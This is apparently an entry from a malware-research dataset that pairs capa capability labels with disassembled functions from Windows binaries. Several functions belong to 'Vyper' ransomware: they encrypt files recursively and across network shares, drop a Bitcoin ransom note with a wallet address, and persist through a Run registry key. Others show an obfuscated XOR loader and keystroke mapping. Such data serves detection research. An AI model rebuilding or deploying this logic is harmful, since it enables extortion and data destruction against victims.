joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401dcf
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401e39
mov dword [esp], str.Error_opening_directory
call sym._perror
jmp 0x401f2a
mov dword [esp + 4], 0x40c1a8
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401efc
mov dword [esp + 4], 0x40c1aa
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401efc
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp - 0x14c]
and eax, 0x10
test eax, eax
je 0x401eca
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptAndReplicate
jmp 0x401efc
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptFile
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
mov dword [esp], str._s_has_been_encrypted._n
call sym._printf
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._replicateFileOverNetwork
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x401e39
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
leave
ret
Function at 0x401f2c
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0x4000
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401f6c
mov dword [esp], str.Error:_Insufficient_memory
call sym._puts
jmp 0x40208c
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._WNetEnumResourceA_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xea
jne 0x401fef
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._realloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401fc8
mov dword [esp], str.Error:_Insufficient_memory
call sym._puts
jmp 0x40208c
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._WNetEnumResourceA_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40206e
mov dword [ebp - 0x14], 0
jmp 0x402064
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 8]
cmp eax, 2
je 0x402028
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 8]
cmp eax, 1
jne 0x402060
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.Server:__s_n
call sym._printf
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 0x14]
mov dword [esp], eax
call sym._encryptAndReplicate
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14], eax
jb 0x401ffe
jmp 0x402081
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Error:_WNetEnumResource_failed_with_error_code__d_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
leave
ret
Function at 0x402449
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0xc], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x4024fe
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyMalware
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x40279d
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call sym._hideConsoleWindow
call sym._encryptFilesFromAllDrives
call sym._encryptFilesFromDesktop
mov dword [esp + 4], 0x40c451
mov dword [esp], str.ransom.html
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402836
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x25b
mov dword [esp + 4], 1
mov dword [esp], str.__DOCTYPE_html__html__head__title_Vyper_Ransomware__title___head__body_stylebackground_color:black__color:white__text_align:center___h1_Vyper_Ransomware__h1__p_Your_files_have_been_encrypted.__p__p_To_get_the_decryption_key__please_send__2000_in_Bitcoin_to_this_address:__p__p__b_1LN3Su5oSWmkXRm5ueg3k15RRnnn154B6Y__b___p__p_Once_you_have_paid__send_proof_of_payment_to__b_VyperRansom_proton.me__b__to_receive_the_decryption_key._br__br__img_srchttps:__toppng.com_uploads_thumbnail_viper_logo_png_viper_snake_logo_115629686088xlfsky4yn.png_altImagine_width250_height200___p___body___html_
call sym._fwrite
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.ransom.html
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
jmp 0x402842
mov dword [esp], str.Error_creating_HTML_file
call sym._perror
call sym._showStaticBSOD
mov dword [esp], 0x40c6da
call sym._replicateRansomwareOnNetwork
call sym._addToStartup
nop
leave
ret
Function at 0x403030
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40f044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40f03c]
sub esp, 4
test ebx, ebx
je 0x40307b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403074
test esi, esi
je 0x403074
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403050
mov dword [esp], 0x40f044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403260
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4032b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403388
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4032ee
cmp eax, 4
jne 0x403310
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4032fe
cmp edx, 4
je 0x4032fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403260
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x1001f1c5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1001f1d4
pop dword [ebp - 0x44]
mov eax, 0x70af646
sub eax, 0xf7090472
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3a13c0
add dword [ebp - 0x54], 0x4e18318b
mov dword [ebp - 0x50], 0x1f7b6bee
add dword [ebp - 0x50], 0x12b7e057
mov dword [ebp - 0x4c], 0xbbb284dc
sub dword [ebp - 0x4c], 0x6f6640ae
mov dword [ebp - 0x48], 0x92d26b58
sub dword [ebp - 0x48], 0x92d26b58
lea eax, [ebp - 0x54]
push eax
mov eax, 0x939bbd3b
add eax, 0x7c6893c9
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x60085cad
add dword [ebp - 0x54], 0x146a0ca9
mov dword [ebp - 0x50], 0x6bcf185a
add dword [ebp - 0x50], 0xd59d491b
mov dword [ebp - 0x4c], 0x55ef0982
sub dword [ebp - 0x4c], 0xf27f9d16
mov dword [ebp - 0x48], 0x5dd14c5e
sub dword [ebp - 0x48], 0x5dd14c5e
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x5feab7e7
sub eax, 0x4fe6672f
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x463d5
push 0
call eax
mov ecx, 0x53a3c1e3
add ecx, 0xac5c7469
mov edi, eax
mov edx, 0x3d83033b
add edx, 0xd2844cc5
add edx, dword [ebp - 0x44]
mov esi, 0xc6bc1545
sub esi, 0x3e84f2e7
mov dword [ebp - 0x40], 0xb0f1fbe8
mov ebx, dword [edx]
sub ebx, esi
xor dword [ebp - 0x3c], 0x868080ff
mov dword [edi], ebx
add dword [ebp - 0x10], 0x964f948e
add edi, 0x6a05abc9
add edi, 0x95fa543b
add edx, 0x53fa55c1
sub edx, 0x53fa55bd
loop 0x1001f2f6
add eax, 0x5b32278c
sub eax, 0x5b315b89
mov ebx, eax
add eax, 0x5d897baf
add eax, 0xa2768456
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x407dff
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42dc50]
jne 0x407e09
repz ret
jmp fcn.0040c53d

Function at 0x40b290
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406030
and dword [ebp - 4], 0
cmp dword [0x432800], 0
mov ebx, eax
jne 0x40b341
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b3f2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b3f2
push eax
call fcn.00405fbe
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x432800], eax
call esi
push eax
call fcn.00405fbe
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x432804], eax
call esi
push eax
call fcn.00405fbe
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x432808], eax
call esi
push eax
call fcn.00405fbe
pop ecx
mov dword [0x432810], eax
test eax, eax
je 0x40b341
push 0x429f10
push edi
call esi
push eax
call fcn.00405fbe
pop ecx
mov dword [0x43280c], eax
mov eax, dword [0x43280c]
cmp eax, ebx
je 0x40b399
cmp dword [0x432810], ebx
je 0x40b399
push eax
call fcn.00406039
push dword [0x432810]
mov esi, eax
call fcn.00406039
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b399
test edi, edi
je 0x40b399
call esi
test eax, eax
je 0x40b390
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b390
test byte [ebp - 0xc], 1
jne 0x40b399
or dword [ebp + 0x10], 0x200000
jmp 0x40b3d2
mov eax, dword [0x432804]
cmp eax, ebx
je 0x40b3d2
push eax
call fcn.00406039
pop ecx
test eax, eax
je 0x40b3d2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b3d2
mov eax, dword [0x432808]
cmp eax, ebx
je 0x40b3d2
push eax
call fcn.00406039
pop ecx
test eax, eax
je 0x40b3d2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x432800]
call fcn.00406039
pop ecx
test eax, eax
je 0x40b3f2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b3f4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4029e4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403f5c
test esi, esi
jne 0x402a1a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040404c
jmp 0x402a38
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004028f8
mov edi, eax
test esi, esi
je 0x402a38
cmp dword [ebx], 0
je 0x402a38
dec esi
jmp 0x402a21
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x40309c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x454020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403134
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403114
xor eax, eax
push ebp
push 0x40310d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403150
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403114
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x454020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x454020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403de0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x456048], 0
je 0x403e41
cmp word [0x45621c], 0xd7b2
jne 0x403e09
cmp dword [0x456224], 0
jbe 0x403e09
mov eax, 0x456218
call dword [0x456234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45406c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e68
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x454030], 0
jne 0x403e5d
push 0
push 0x454064
push 0x45406c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405ab4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405b1a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004041cc
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402c60
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405b04
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b21
lea eax, [ebp - 0x10]
call fcn.00403f5c
ret

Function at 0x40ab68
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aba1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040404c
jmp 0x40abaa
mov eax, ebx
mov edx, esi
call fcn.00403fb0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40abb4
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40abd5
mov al, byte [esp]
jmp 0x40abd7
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b25c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b0d4
mov eax, dword [0x4550cc]
cmp byte [eax], 0
je 0x40b2d8
mov eax, dword [0x454eec]
call fcn.00402acc
call fcn.00402824
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004083c8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b320
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b30e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x454e9c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x456664]
call fcn.00404fc8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40bb74
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bc4a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403ff4
lea eax, [ebp - 8]
call fcn.0040446c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.0040441c
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bc34
mov eax, ebx
call fcn.004026bc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40bc2d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.0040441c
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40bc17
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bc5c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40bc17
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bc34
mov eax, dword [ebp - 0x10]
call fcn.004026dc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bc51
lea eax, [ebp - 8]
call fcn.00403f5c
ret

Function at 0x40c140
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c1a4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004041cc
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407e64
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c1ab
lea eax, [ebp - 0xc]
call fcn.00403f5c
ret

Function at 0x41a2ec
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x456884
cmp dword [edi], 0
jne 0x41a368
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x456880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4543ec
mov ecx, 2
call fcn.004028b8
mov edx, 0x41a2c4
lea eax, [esi + 5]
call fcn.0041a2e4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041a2e4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41a33d
mov dword [0x456880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41b57c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41b582
ret
Function at 0x41d9c4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41da15
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41d9fc
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41d9ec
jmp 0x41da15
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41d9fd
pop ebx
mov esp, ebp
pop ebp
ret